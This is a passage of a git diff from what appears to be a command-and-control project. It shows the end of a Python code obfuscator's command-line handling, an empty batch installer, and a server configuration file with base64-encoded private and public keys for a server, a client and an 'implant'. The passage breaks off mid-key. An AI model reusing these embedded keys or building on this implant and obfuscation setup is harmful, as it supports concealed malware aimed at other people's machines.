|
||||
dest="in_file",
|
||||
metavar="<input_file>",
|
||||
required=True,
|
||||
)
|
||||
parser.add_argument(
|
||||
"-o",
|
||||
"--output",
|
||||
help="Output file name",
|
||||
dest="out_file",
|
||||
metavar="<output_file>",
|
||||
required=False,
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
input_file = args.in_file
|
||||
output_file = (
|
||||
path.join(getcwd(), f"obf-{generate_random_string(10)}.py")
|
||||
if args.out_file is None
|
||||
else args.out_file
|
||||
)
|
||||
|
||||
if input_file.endswith(".py"):
|
||||
try:
|
||||
root_logger.info(f"{input_file} ---> {output_file}...")
|
||||
root_logger.debug("Entering main function.")
|
||||
main(input_file, output_file)
|
||||
root_logger.info(f"Done. {input_file} ---> {output_file}")
|
||||
except Exception as e:
|
||||
root_logger.error(f"Error: {e}")
|
||||
else:
|
||||
root_logger.error(
|
||||
"Invalid Python file entered. Please make sure the file has a .py extension."
|
||||
)
|
||||
0
components/python_installer.bat
Normal file
0
components/python_installer.bat
Normal file
10
components/server/configuration.json
Normal file
10
components/server/configuration.json
Normal file
@@ -0,0 +1,10 @@
|
||||
{
|
||||
"host": "127.0.0.1",
|
||||
"port": "42720",
|
||||
"server_pub_key": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQ0lqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FnOEFNSUlDQ2dLQ0FnRUF2ZnRzRzZTZFN3SW4rNk1hcXAvWAp3Snl6VGNML1pwRlBzMWFRZ3NUVkhpOHZVNGNSY1UzYURJVElRYWowcGdKQlg0cmNzbTg1MDRDcks1cWZ3bHovCkxSNGdvbGpTdXl2R1FOUW1aaFRtaWw0T3JDSTB0d3RMTkRYalZkVTI0U01jU05Na1IrRVZYS0xtSHJ3SFN6NUIKUE0wQTRmM3U5U2Y5emsyTjJ3T0I5UG1GMlh4NGF0WWJLRXVCYnU3d2RDUUxhSzh3RnQ0T1luOHpBL1Q1WjZqdQpHbVJia1V4NVd4TVBrMDBPOHUxV1pTVEtDYWJKWTJ5NncyM1VQa0QxZzM3UWViYW9VY29IUnR2d3F3c21zaU5UClRYdDh0YmF6ZG5peUdlYlFWbVVGM3c4ZnlaaVRvOGRyOGpYNWNHNkVyWjJkZ2RHb0FJUk5mSGpVVkZyRlJ6akEKOGRzM3FEMUU0bVAwZGM3MEgvcU9Ra1crRkYyaDJMK2FONXFOYms1czFzTjgxejhwaGVFNGFrMHFOdTE1bUVIcgpmWC93SUpXck1RVTNJSVZ1R2FoTXUzSHBXWXc3T0J2TlI4ZE96ZGZ1OVBBU2hLL0h4ZTU3OXRQZ3g2MktKU1VuCmNUNThZV3NFVHNaNU5QM1FWY3BLay9SNzRYMnVReFVXQUtCVWtwSjI4dTA5amVVT3JtU2M2VDVrd1k3SGFHcE8KZzlhVFM3RXlLQkM4T01TTFlvWmhYNmtzUUtKZGNjam40M0ZBSFkrem9meGowcWV5b05yQXBMbHdIVU9pbVRhSAp1OVBDYXp5bjltMVhsMzNhZ2J1N21kTGNIU2FtOFdNak1QTjFoQTRXU1plcC9BZDM5YzNEamUwWFhjUjlkdWV0CnIydEtXTGNWVTExa0lXUGFtRnVncmdFQ0F3RUFBUT09Ci0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQo=",
|
||||
"server_priv_key": "LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUpRZ0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQ1N3d2dna29BZ0VBQW9JQ0FRQzkrMndicEoxTEFpZjcKb3hxcW45ZkFuTE5Od3Y5bWtVK3pWcENDeE5VZUx5OVRoeEZ4VGRvTWhNaEJxUFNtQWtGZml0eXliem5UZ0tzcgptcC9DWFA4dEhpQ2lXTks3SzhaQTFDWm1GT2FLWGc2c0lqUzNDMHMwTmVOVjFUYmhJeHhJMHlSSDRSVmNvdVllCnZBZExQa0U4elFEaC9lNzFKLzNPVFkzYkE0SDArWVhaZkhocTFoc29TNEZ1N3ZCMEpBdG9yekFXM2c1aWZ6TUQKOVBsbnFPNGFaRnVSVEhsYkV3K1RUUTd5N1ZabEpNb0pwc2xqYkxyRGJkUStRUFdEZnRCNXRxaFJ5Z2RHMi9DcgpDeWF5STFOTmUzeTF0ck4yZUxJWjV0QldaUVhmRHgvSm1KT2p4MnZ5TmZsd2JvU3RuWjJCMGFnQWhFMThlTlJVCldzVkhPTUR4Mnplb1BVVGlZL1IxenZRZitvNUNSYjRVWGFIWXY1bzNtbzF1VG16V3czelhQeW1GNFRocVRTbzIKN1htWVFldDlmL0FnbGFzeEJUY2doVzRacUV5N2NlbFpqRHM0RzgxSHgwN04xKzcwOEJLRXI4ZkY3bnYyMCtESApyWW9sSlNkeFBueGhhd1JPeG5rMC9kQlZ5a3FUOUh2aGZhNURGUllBb0ZTU2tuYnk3VDJONVE2dVpKenBQbVRCCmpzZG9hazZEMXBOTHNUSW9FTHc0eEl0aWhtRmZxU3hBb2wxeHlPZmpjVUFkajdPaC9HUFNwN0tnMnNDa3VYQWQKUTZLWk5vZTcwOEpyUEtmMmJWZVhmZHFCdTd1WjB0d2RKcWJ4WXlNdzgzV0VEaFpKbDZuOEIzZjF6Y09ON1JkZAp4SDEyNTYydmEwcFl0eFZUWFdRaFk5cVlXNkN1QVFJREFRQUJBb0lDQUY3U3EwSmUxczFWN2F2bzNFbjJUd01KCmsyc0lIVjdOdjJpRkY4clZRSVA0ekJmV0xnd043ZnZhbUhOQlI1N0dPR2ZlRU1xVXZsbUUrcXBnV2tYeUVjRXMKck9BckVqOHVtWnpJNXNPRHdnK2s0NURoMzhyT3ZjSDQ5WmRsUEtlQlZVQTU5bjFUNkV3YzJGdlZ3SlE3SmVlWgpjTXZiYVJYKzJHek1nN1doV2c5eUxXOEFjNy9yVHBHOW9nUkRDVXdHbzVVai80NGlWaTZ1UzBHNTEzUDRPcU44Cm5NRjRXSWZ2Q3hLYjN3NjhEQ2VlaGFMc2xzN2p1WklLY3VtQmxha0V0anhSd1ZCVlZHMTNJSGZXc0lFd0pZZGkKVDd3SXpTa2dFOURleGZTaEpwMlBXRy9RRWp5b01BWXNEMnloRk9MczdPMGJQazNIdXo4WnRlekdnM25KWjI5UgpiWVoxaUlNWXRrS2t5NXBJS0RmYmtQQXdiaUFaWHdQMmJlcFhhdWZhVGVOclA3MUhZazA4Zno3THZYUkVEcytQCjNGM2xwbFJEMkVkUWpBMEhka2lBeFFZWlVEdUpxNUV0SUNMWmNFSjdHcFBKU2hwL2dBbG1MZ3drMEFsNDREbWsKY2R2cjFoTzV5QmZoMS91UFlkYXlkS3l4R1RVRkNWdE5CWENNcGlMV0FCOGZacVV3emJNcFgwMzFPTUFwOXBoagpMdzhQVFJpRHRqVWRvanNDSnlqUnlIT1ZPNEdxZnFHNGZRUlQxTUdBRnkxWStUV1pNS0hORzVNNFlZbXFEZTVkCkxWcDgzTXVjUUY2N3kzaU00VDFhNGEyRDNlR0N5Nms3QkFHUzZaMEdqelJxVkJUaFVNKzRFRElmZlp2Sm54VVIKNWM4UWlqeEtWYU81UHdVMkx2dmpBb0lCQVFEK21ubVYvbGNWaUxNZUpneUhYcys4NGExZHlPa3dCNVNHNEU5NAo3emhZLzZja0o4Ylh5bWh5SHN2R1BHRHlLQ2hLQTJDVzR4V0c2NlRvZy84d0gvakMvcVlGZXlzdEs4bmYxeWVLCkhGaGYwejkrbFAveVJBYWkraEN2RkV3dWpkYURZdTducFBpK0J0N1BabzRES05YNmFmeTUwWWQvV3NtNW9qaFEKUUpzYU1rUzVWNk9mNlJWZFVhckFiQS9tWFROTS9mMlpRUGZ3WEhyYmxjQWhZaldBeUlEM2FIZDZqZXlEY21PSwpmQXF1eGlqa3dYSU5iWkZGZ2thSWdpbGlpK3J4VDVmYXdTOXNNU0dFM2hPaUcyc21jVGczdVRORWpYSHpyNFVkCjBJazZ5bHNrS0xUUTRVQjErcUx4VmticCt3bVI3NmJ4TzZPbWVmd21sUEN4eC8zVEFvSUJBUUMvQmpRT2xnSysKb0hPbUw5QXpkTkdyQnlpeUgyUW05R2xVMktQWGt3K0Izeld4UGVzQzcrMzZoSmdBYWthS2xKbjZlUytRM2tlZgp4VzhUb2JQTEJscUFBcE9Ec2dQc3gzTkRUVWRTQVVXdmZqQ3RQN2c1MUl1K1dGeG1Dd1JuU2RUYjN5cVpyVnYxClpDTjV3dVlBK3U1aU9mQjFrY09yNEdqdmFzbjRON3Q2aVp5c0xqY2V1bnp3NEVGUFplVjcxeWdWMm15bjg1R1EKaDY0eU45bmJKT2NxYVIxWXE5V200aU9ycVlvaUFsdTZLUkdDUHdHZU9uVnBkR0dEanZWaXk4ZDRBSks2YlBwWQpIcEYxQUx0WG4zUGdReDVGbU9JK2RiaVBoeG1CWG82aEw5cjZWcHJmZDdTQ3B4V2FqMDAwWEhiQVBLZGFlTm1OCmtiWmx0VlRxUkR4YkFvSUJBQWF6a0RHM2dSbExBTlB4VW5FWnVNUVMrSm80V0pMd0VDUEFzYmJRTFI2Q2xDYXEKZVZ4aXNuOFdlbXljV0R6bmU2Ly9DTUxQOVZnWXliMXBCQVdEUWV2NEFleXhBa0R0SHlJcUtwdERCYngzOWZyaAo5eDZzVmJSaWVwL3hHOVE1M1lTVnpRNEIxSjVEMWdlRmZvVnN4TDBUbnhoUkFJMEVtYnl1SFdkWFcvM0RodldOCjdmdWVpZlpyMk4rNXVHMXExSmZaTTV5ZURpaWdkb2RqR0t5SVJqbytqTTUyVEhiSVY0cGFMMjZNdDBkRVpmMG4KYmxZV0pUVzhLUmtjdS9RaEZLMEhXRXJrdk5mUEx6K3RETDArbFlKc2hudEkvNlYxUjZPUFlpU1h3WlR2a0ppUwpEYmhWeFhtVmdFWno2K2ZxdUtURHR4UXdhcTFPRnFuNVQ2Q09VQXNDZ2dFQWRnd3JWMmcwd2dEOTl4Rk5KTDlvCllyekYxVzI0d3FuLy9jTHpYV0V3RUI0VVhEZmJaN0ZGNjY3TkVGU2N5ejhSK011ekxWOXYrN2hTOEZyWmRQbTAKSzY5cjRkSzh3akp2ZElQcE16QStGRGx6YzEwUlNBdWxZRGZTd2V6RkI5K0VmMnZtTTVvQ1hoOUlIUkxvZUdxWgpybklIdTJBYy83WnFvcW5ucmxFaXRwTWNFdnRzYkx6cVFTRVV1ekJKSk1MTnJ0T1FtaW5YSnUzeUpHNkhYdm5yCk1UWk1RR1BRWUpVWFhob2psdWpHTHNENlpQYnkxUWxqVFl2eVJ3NnRiaVJvWEN4ZWdINmdKcHlkWHlUWW9VbVUKbmw1YjhyNkw4ZlZsM0t5c2dsb2c0bE5raTVmQmxaK3dHWjJQcURndWlkRXFRWm82QVpyMU5wdDVrRmtDNU5MTwpTUUtDQVFFQXB4RGlIRWhDK1RXSUZJcU42aTFGakcwaEQ1TUhYUXJaSE5sTFdYOE5rcTg4T0lnR0lvOVdyTzAyCkRlNXdBcTg1c0hnM0pabTUwNG5kMlcxZlFjVjZQeU13WDFTcGJpeDg1MzhWdnVwaGhPckZ6NlFQTlFyUGJFVlkKRXQxSlNzdE5kYkc3eWZvaW94VEFMY2gzT1ZWVGJOS0NtaVNFejMyQ3NRa2dGTEsxSmJaS0JlUjNzeGJTZXcvRgorb3lMVzczQWJPQm9raWt5N0ltTk5KbmNCZUFldDNFdWdxSktWRFRzeWJxRE11TTNiQ0QzYmJ1RS9WbXI3bVkxCkl2OEthSzVCblRDNVltalJ5ZlEyenZZbC95VE1UNlNHckRwaHdHTjAzMXcvVzJDc3NZMVhvQkhpQTVoNUQ2N2IKY25PMHZtRG05aFk3akRSbDVFNWcyb1V4Q3pDa2NBPT0KLS0tLS1FTkQgUFJJVkFURSBLRVktLS0tLQo=",
|
||||
"client_pub_key": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQ0lqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FnOEFNSUlDQ2dLQ0FnRUF1Qms4eU43OUVUNnoyNEtWZ1hjVgovRmx4d2p4bit6MVpRRDVVUmNNYllkTVo0VWxFRXFmU0E5WklCUDVLQmJZa2JqYjZuTWtDaEFpMEVDa0cvNW9FClplb3BFeTdUd2xpbFNNY21Na1crU3RjUkh4RmFaZjdqK2I4akdYUWxSaU1NY0YrdU94UWpsNHkwWEhTSDZZNVYKcWpFWURxRVJCVFc2MnVMNndoaFNKbCt3a3Z2UG5jQ0JPa0ZDRUtCMWpLTmFDcEp2Qmc5dER0TEVySnA0MVZGNAp4a2hjTzdJMk1hOVZlbFNqY0wwZTAyL2VIcnNNdEpUVzAzcGFNQkpLdUpNaHJCVi9EOGNFTXdQUzIzQjEyMTZqClNzL2kxdnB1T0dxLzB4VnVxcDNDN2IvcWZxZmthZG9NdlZFZEYxMWlIS1Z1STgvZjBLeGVmNU42Y29VMFNnS2UKQkRzOUZQWU9HNDFlbWZNOEFjeE9qY1cwbGI5b1ByUGFVbzdsS3UxeTU3N3Q4NUtxNFp1YzFKR05Rc0JTTDRObQo5NXlxaVZMcEhHajZTUVo1aFptWEpXL0tZanN2ajEzYldBWkZlaW96TEZhK2k4L3pqZDZkNVNaL2hxS1BzM2MyCnA1Z3NVNUlkdTJmYU5uNFVvTDY2NjczMmhaUHNwMXM3YjZlYkVrc2pXZHY3MEhjSExHT0tLR1cvYjVqU3FjK3IKMHlnY29ReVB0NHRyb1kwRVNoYWpRQVZQbEJCbzdJVWJLVDRHeDJDazZ6ZmNPOWlLZGZSN3BsRkExMHREYnk4Rgp6bS9QTjh2Zm5CMHFpSVRxbzU3NW12MUNiUnE1ZGExa1hBM0NxdEFHeFI5NUJodFRCa1ptNXlqRW9nZWJzb1dLCkI1am9Bcm9HbmlNWW45Rk4rWFlNZ3BNQ0F3RUFBUT09Ci0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQo=",
|
||||
"client_priv_key": "LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUpRZ0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQ1N3d2dna29BZ0VBQW9JQ0FRQzRHVHpJM3YwUlByUGIKZ3BXQmR4WDhXWEhDUEdmN1BWbEFQbFJGd3h0aDB4bmhTVVFTcDlJRDFrZ0Uva29GdGlSdU52cWN5UUtFQ0xRUQpLUWIvbWdSbDZpa1RMdFBDV0tWSXh5WXlSYjVLMXhFZkVWcGwvdVA1dnlNWmRDVkdJd3h3WDY0N0ZDT1hqTFJjCmRJZnBqbFdxTVJnT29SRUZOYnJhNHZyQ0dGSW1YN0NTKzgrZHdJRTZRVUlRb0hXTW8xb0trbThHRDIwTzBzU3MKbW5qVlVYakdTRnc3c2pZeHIxVjZWS053dlI3VGI5NGV1d3kwbE5iVGVsb3dFa3E0a3lHc0ZYOFB4d1F6QTlMYgpjSFhiWHFOS3orTFcrbTQ0YXIvVEZXNnFuY0x0ditwK3ArUnAyZ3k5VVIwWFhXSWNwVzRqejkvUXJGNS9rM3B5CmhUUktBcDRFT3owVTlnNGJqVjZaOHp3QnpFNk54YlNWdjJnK3M5cFNqdVVxN1hMbnZ1M3prcXJobTV6VWtZMUMKd0ZJdmcyYjNuS3FKVXVrY2FQcEpCbm1GbVpjbGI4cGlPeStQWGR0WUJrVjZLak1zVnI2THovT04zcDNsSm4rRwpvbyt6ZHphbm1DeFRraDI3WjlvMmZoU2d2cnJydmZhRmsreW5XenR2cDVzU1N5TloyL3ZRZHdjc1k0b29aYjl2Cm1OS3B6NnZUS0J5aERJKzNpMnVoalFSS0ZxTkFCVStVRUdqc2hSc3BQZ2JIWUtUck45dzcySXAxOUh1bVVVRFgKUzBOdkx3WE9iODgzeTkrY0hTcUloT3FqbnZtYS9VSnRHcmwxcldSY0RjS3EwQWJGSDNrR0cxTUdSbWJuS01TaQpCNXV5aFlvSG1PZ0N1Z2FlSXhpZjBVMzVkZ3lDa3dJREFRQUJBb0lDQUE1VW5KZ3dUM2UvcjBWM2tVYStLOTUwCllmZ1NOcS9tY3lPZWxuWEZ2Y1JzSjlnVEdYTHdVRmRQSDFVUUxGZnNlVUtCRWhvUlJacGNpUk8yOWQ0QXNiWHoKTjlaUDcxanlDSSsxUE9KdDdtV3AveUd4ZXAxMDdXOGI4MUlBYWdSZkp4RTZTWGc4MVpadTgvMDhidlg5eCtwVApId0hJaE9nb2FnNnUyNEV2WG5teE9pLyszUWIxSExvWnFWaGMvVG1BMzdueDh5V0FIdWVuL1hwSUhmN1E5RHRQCkY2cm44UE1HS0h1NHllNDFNb2lYN1N6c040MTVCbzM0dUx1RU9QL01LRE5haXdVQjQzQkxMR2M3aGxrWXNWSmEKQTFqanJwL0NvNEw5YUp0c1kyZVphRm9Lbkt1bXR4WW5rY0duV2NOTUYxby9UTGRVSzVqM3RIRGtzSkRRU2xkOQpMS3F2emc5K1RHd01Xa2dUbzZjdkYyMHQxU1ZZZGw0WExpVEVVZSsrMjhEQmJSYWVJakVxdU5RcXdqY1hHeWE5CisvQjNVblZPZUxCa0MrREJXMUdmT2xYWVh5Wkk2VHlwVE5oV1kyL0lwS0VObmdpSHBpcU1MU2JoRzBXWHRTY3cKclhwOUFjam5JOWFaMmpBWmVmMk9kdFAydnpCd1NzVmVJcURnZHI0Z3FkRWh3YTBNZ2JkSHNkd2hxNXFSNmpTMwpJQlNrOVFXK28xNVZncW9HUzJRbGJRemY1eEVaS2NrVnhQR1l6UEF5aXBBb052VEl3Z0RpeXhnZnlic2R2TE1XClBEcjFiQ1h3YzErMFk3NXdOVGtTS0crZXdLNXowc2xHTHRyTjRKRmVPUEU5ZkUyUnRkMFl3eDlXaTFkbTRyUCsKYzF4bDRyZ3BpaFgvSmJJNlpuaWxBb0lCQVFEZDBPc3htcjlsVU1mMkpucjFNaFljdzZEUVVjbWJlVXNEeE45NgpBTTNjTVlIM0xBTk5CZTNnMGl4cHhJem1ib3pWZ1ZVdGZKWWE4dGdtM0NtWm1YTUY0d1RoQ3dkWHdyM3BxSWUxClRqNjRHZlN3UHV0TlBDSkc3ZWY5L0pBZENMWkI1Ym9FbS8yak94NFBpN00vNWUvVUJBNDZubjhUVG5NKzRncG0KZjNtdU9TY3I2bWRrZ2hxSWlUcTh3cTg5VEhXdnNiVnhzSktMaW9EOUhYMEtjVDFqN1luWmtsMXNVVG1ScGwrNwpDQXNDQ3FPUHVTTXpZRnFtMXh4TGpsTWlpcDJ3M29pZVgxRHhDc1JlZXJybXN0SDNCTFNVdDZreVZJblB6TElwCno1UFpCRzF2SXB4Q25GTGkwWmg5b25iVkVhcTJCQzM0Mm5pY0JNY1h4WjFTajBMRkFvSUJBUURVZUVuMXlxS3IKRk9kTlNFbm1KM0RmaUhETEpEK1NTS250aFJ5Vlc2cXh0WU5XWjFzeWVPMkU4cVMva0ViOXRUVHpvempab1B1VgpBc0dBeUptOGZsQU9Vek5kZEhaYllNOHRPUWQ0aXpJRFNUTkdsMzlVMm5abnBvcmlNSmphVkltTG9wbFQ0b3VxCmNKY2hTcFJ3d0doMVZPQVpQYjBlcEIxYm1iMy9HdE52K2pqb25iaGR6NGtkS1NzRnhzQ1BySW1XbGowRnN3Wm4KN0xoeEkvaGhtN0h5c1NLNjZ4VkZKNm1YcG5iM0Rpa0dPOWdHbjNGdDhSWDdXMEhkOThGU2taU0NkSzB3R3U4dgpYc0xWQzY0MStQMStzM1VSLzI0UWR2Yk0rSnRBRFllWS9QZExDVEhXRGU2a3V4cnJIWmVjTVErc3M1QnlCOWFICmZkcFJuMS9TZGlWM0FvSUJBQ1dQRDVRSnFPamw0Y1g3UkF5cW0zWHBaaHlBRE13bm9KMFZ3K1ZycDIvbWJpUkYKTHBYbk1CMUdXVURiaUNRb2llNUpCUHc3d1VyMDNjYk90cmlNZEI2R0R6aHYzcUZzbHkydVhMUkZlSGRCNWQzRgorWi9OVTl5QXdpeU9qSFJ1R2paVVNNZ3BCYXlUQVFjTzE1NDFPQVBGWUFkcStRZHkzQzdFcFpBdmU1SVZtVjFsClJuYU5WU0xUWWIrK2sxK2t4N1NsT1p6emtnelF1Z0NoOHA5SEIyY1pQS003bGxnVjlOS0Z3bVh2K2JVeHlmbzMKRmcvSCsvR09NUHRXTVJ1REx5cFlzL2RsR2xhR1JUUGVRakY0Qy9kd3M0Y1BCalpBZkVsVVZzS2ZwR0ExMExYbAp2V0hHQ0g3aGtKbU5YZU84SnhURTVtZmh6bFJVdHNWK3I2SGdJaVVDZ2dFQWJCSlBWR1Zndm5LZ2dFL1B2dkM2CjJnaDFqdTUrSTNNd2MrOHNMZEIxajNUTFBFelFOMmtKTDRHWVNSUWk5L09PM29wY1pWNGIrWnh3UG9oS29uVUIKVlhmK2ZYKzZvQm9xNTA3RnZRdllRWkdmTWozbTk0c3poTjlTYjJEV3J0OG5JMDV1ZlJ1VGZQdE45QklTVlJPWgpUbTBBbS9ZcVZ3YVZKRDJjUmNFb1lTRytocHVLNXJTa2dwK3BFWVFaK0RxRHRZUHZ3QkZpcGNQandURFJxeHhkCnRCdGpsZjN6VUx5dTU4TTFhYzdiRVIrcGJ4ejB2ajVOdHcrZy9qMkNLUFNCdktXS1hoaWxKc3dsZitZMEU2SDEKbHRmREtZZHFQWmUxUzJiODJPVEkzd2wwNDhibWdZR09yRjI3Z0hJSjV0bVJwbitqYmswTVV0aXlEcWhwUGd6NApXd0tDQVFFQW1TK1RVK2twdC9oaEhqT3lwSzY2RW9VdVdFd2pHakJReG9PcGV1Wk5OSmI3bkdRejV1SXg5KytnCjBlUVdJME5CSkIyWURnV2xFV1FSVUczMTkremw0YUFMclQ5Y2NlNElraEZSaVNPN3F1c2o4VXFtdWNoSnpRY28KeEZSMzZFUmE3OWg1aDFoYkNFcGcway8yamJJdDllRng1YXFzeGc0d1NqcG1EMFdQcS91ZlBYaW1MeG8xRTFpQQowNmdySDJGczlPWXZ3VDFuM3I0cW9LK0hHNVU0dndvbkY2Tk44ZHNCUk9jU1Q0SVlvdVhnTG5WbEtOMCtvdVRFCkhzVGUyaUpaUXVteGJxL1k3cGtrdm9NSU1NMU9CZWVMeEdaWmtvYTlLUTN0NnVRZXNZRFU1MkZzL0UwRFVrUSsKM0JHM3pPeTJzZWRjTWVTdkNQbDkwOHdVQkQzMlJRPT0KLS0tLS1FTkQgUFJJVkFURSBLRVktLS0tLQo=",
|
||||
"implant_pub_key": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQ0lqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FnOEFNSUlDQ2dLQ0FnRUFzUkIwTjduMU5Fb2lZTkNoUUo1SQpndTVVeGxTRk8rRklHR3FGaHhtbW85dG9nY250UzN5RVBoRXVRbVI1NkIxOHh5TmlRYXlOQzNWckVoVk1ZWnRGCjlqUER3NkxkNGtUekE5enZYM2l4dytVM2RwTERLTk16SEhrTzkyK0sySTJMRVFUQ3JVYmZOTDhRMG9Eb3ZzZDcKUkdTTFh5OVFvczFLRWVuVllCM2dManFqak51NGFYSkxreWpIV25iK1hlZzREamUzQkU4UzdpV0o1OXBJRG5MNgowVzRzSXgwTmd2RWVXWWJvemFnT0EvaFZHNUprVUtwTE4xNTN5dGZBTmQ1eWpkL296Y3hleUpaVjQzMHlRbXRZClYyVjVUSDU2VmJNTVhacEJDYmdCQVRna2N6M0VaTWFtM09BM3hrMG81bXFwMTliWG5peFMxQTBSbEplaDYvTkcKd3N1QjY1UWgyZlFJb2psZUFwTDFYUzBsZy9OVG1Xak1DR2lTRFNHWUhNQ0s5b0xuMGw3NTRUeGJSZVQ0NldqZwpGMWsrRkEyMGZkVjZpbDVLVjd1SDN4NHIvMDlpd2hBM3lidTZBSzZKZ1p5cC8xQ0tKN0IxaENRSnBKaDd6MGQ3Ck9yaTQ2TVNhdVYvMVQycW5yc1lTMHdqL2tyOU1mS0M4RVhrTUJiMTV6Ukd6VjhwVElGUU1MMG5jVHE0N05IWmcKamMzK0Vwd29VNXhtOHpCUncrVUVPRSsxbGR1Nm5ldkU5NEVUMkJ4Y0hGNXBDdUcxQ3k2dHJhRnFjQzJQeE52aAphOVVZM2l1SmROb2hUcVNCZXNyNWxuekwxZGlCYXQwZXlZVTlSdG1TQjU1b3cvQWRWa0tsL29hanEreHhZWDBiCm9PQXphRXA1b2xnQmo5RWUzRnJhYkhNQ0F3RUFBUT09Ci0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQo=",
|
||||
"implant_priv_key": "LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUpRZ0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQ1N3d2dna29BZ0VBQW9JQ0FRQ3hFSFEzdWZVMFNpSmcKMEtGQW5raUM3bFRHVklVNzRVZ1lhb1dIR2FhajIyaUJ5ZTFMZklRK0VTNUNaSG5vSFh6SEkySkJySTBMZFdzUwpGVXhobTBYMk04UERvdDNpUlBNRDNPOWZlTEhENVRkMmtzTW8wek1jZVE3M2I0cllqWXNSQk1LdFJ0ODB2eERTCmdPaSt4M3RFWkl0ZkwxQ2l6VW9SNmRWZ0hlQXVPcU9NMjdocGNrdVRLTWRhZHY1ZDZEZ09ON2NFVHhMdUpZbm4KMmtnT2N2clJiaXdqSFEyQzhSNVpodWpOcUE0RCtGVWJrbVJRcWtzM1huZksxOEExM25LTjMrak56RjdJbGxYagpmVEpDYTFoWFpYbE1mbnBWc3d4ZG1rRUp1QUVCT0NSelBjUmt4cWJjNERmR1RTam1hcW5YMXRlZUxGTFVEUkdVCmw2SHI4MGJDeTRIcmxDSFo5QWlpT1Y0Q2t2VmRMU1dEODFPWmFNd0lhSklOSVpnY3dJcjJndWZTWHZuaFBGdEYKNVBqcGFPQVhXVDRVRGJSOTFYcUtYa3BYdTRmZkhpdi9UMkxDRURmSnU3b0Fyb21CbktuL1VJb25zSFdFSkFtawptSHZQUjNzNnVMam94SnE1WC9WUGFxZXV4aExUQ1ArU3YweDhvTHdSZVF3RnZYbk5FYk5YeWxNZ1ZBd3ZTZHhPCnJqczBkbUNOemY0U25DaFRuR2J6TUZIRDVRUTRUN1dWMjdxZDY4VDNnUlBZSEZ3Y1hta0s0YlVMTHEydG9XcHcKTFkvRTIrRnIxUmplSzRsMDJpRk9wSUY2eXZtV2ZNdlYySUZxM1I3SmhUMUcyWklIbm1qRDhCMVdRcVgraHFPcgo3SEZoZlJ1ZzRETm9Tbm1pV0FHUDBSN2NXdHBzY3dJREFRQUJBb0lDQURoeTYvSTJMVWU1Mk1MdjBIRFc1WHdrCmVrOXVjN2wyNVhLdlJ4bWVvbU03MkZJRWE4djBpdjUwb01CVzR3eU9saEN3cGFzVlZUUVJmNHlZMEt5UGdacnYKdnRvWWlzK1B0c0FGQ0NWeVI0NFIvZ0FsNHVVWmpBSm9UODZ2dDE2NXBWdk1IanA2elQ4MktLbExvcWZyMWM4awpsTkJJTjlkblJsVjJyR21Eck14Z01uTCtPNGtXZ0tTT1RCdjVzcmVDaUpoeng3dXViL1VQYjZ0RWlsTmM4YnloCitKMUxMbHNQL3VLQTRhaHJDdWpXRzEvNmFGUFZMcnljdCtrcHBtUW1JblE3cmE4cW1BOHY2bnJubDRYWVRpWXkKdWh5YWQrcnBkYWhEdkxkWis2d0ZWNDJMNUJoU3dyREpKTTdxRzM5MkF1YkdYaUJWdGlSWGRFTGdvcVVqL21zawp6TWs4elhxK2hvMnB2M0R0QVpBWnJGcXZwb2syM0I5bTBhYzBZUlBMWEVXVTVMdTVYdVBhNWhGNXNkRDBmeGdOCnRtNDI0V3V0L282TkF0R3FteGVjbVUyRHB3cWlFTVRsSzNyNW1PR0xvWitVS0V3Wkd6ZHlkRmtEMUFOMzUrZGIKQ0hJYittWjlxT2N3YlNZbWNJZ1pXWmJNcWYxcTQ3ay9iczQ5QWg2U2ZnbkNGV1VHSUVlekJJbktuaGVMS2dJVwo5UWZvdmxCUm5DRVlsdkFnbm5RLzJOdDFuUXA2M0Y2TlVLaERJQXlNUjdDaU5FdnlVbnErTG1hNjRuL2tSMnpxCmlGK0FJNlNLeENHVXFpTmgrWEpoZEVEdy9YajZ1V28vSDVSVXVudUtRU3lySU1FRE9KTnZxYk1iRS9Ud1Uxbm0KY2ZqZkloQWU1MUVsaXN3Y0J3K1ZBb0lCQVFEaW9ReXJIMW1mN2d0aE1Ca3BpNTV0NnhoSVFhcnIrY1h0eFFBbgpYL3NDSmg0cGZGMWRXNlB6UEpMeVJpWU9pQ3haa01KcEptTDdjclVSSnRFSXNqRlg0eEZIZ29LaUtQUUFVTjBWCkhyK3NmcFBBcUh1NWY1VzdoRVdCdFRIU1licWVMSU9meVNlUmpHNDEwWC9QRDJ2ZzBSUzByL0xqcXlpcXFOUEUKQlR5RjdUbEJzbjZwUkhlVGpyVjBOOEh5UHVLNGY2ZzUvMCtiOUxiR0FrK01za2Z2VkpBQndhdEFMQlJWaWtlSwpBZk9uVkpmMEJaVWVPMTduUVR6TGtMazV1RGpFSTZsUmRJMUgwbTBaRVNoNHgvTnNMbVBhc05EdHZQdVJzVFVhCkJLZmN1WGFsUzE3eWQxYW1RcUR0WUJ5V3lja2VxVWhPZUxIME1wUmFRSzgrVWgzbkFvSUJBUURJQXZtMk1nMlkKVVEvaVkvK3huSnE2UDRIVHVMUWVEalBRWkJVT3dFNGtUM1BvRGdGQ3Z0alNxWjdtU0djR2p6Z3kzbCtHL25kOQpGZUxyVlhqR1B1dURYTFhVSFRhWndJRWc1bytwQjFOclg2czZzKytMa0FteTZrMS9pUXhWRXFYaXFxdG9TWnZhClNqYVkwZW1ZZTIzWkxLaWtCRXhkM2gxUUY4OFVhYTd1WFB1T240MU5raDdtWmRsTEt5WmpNN1VJay96b3VscjYKVlROdWNmazY0MmRUeWNLMUhkaDFBRnlkb0FFam5ZaTNh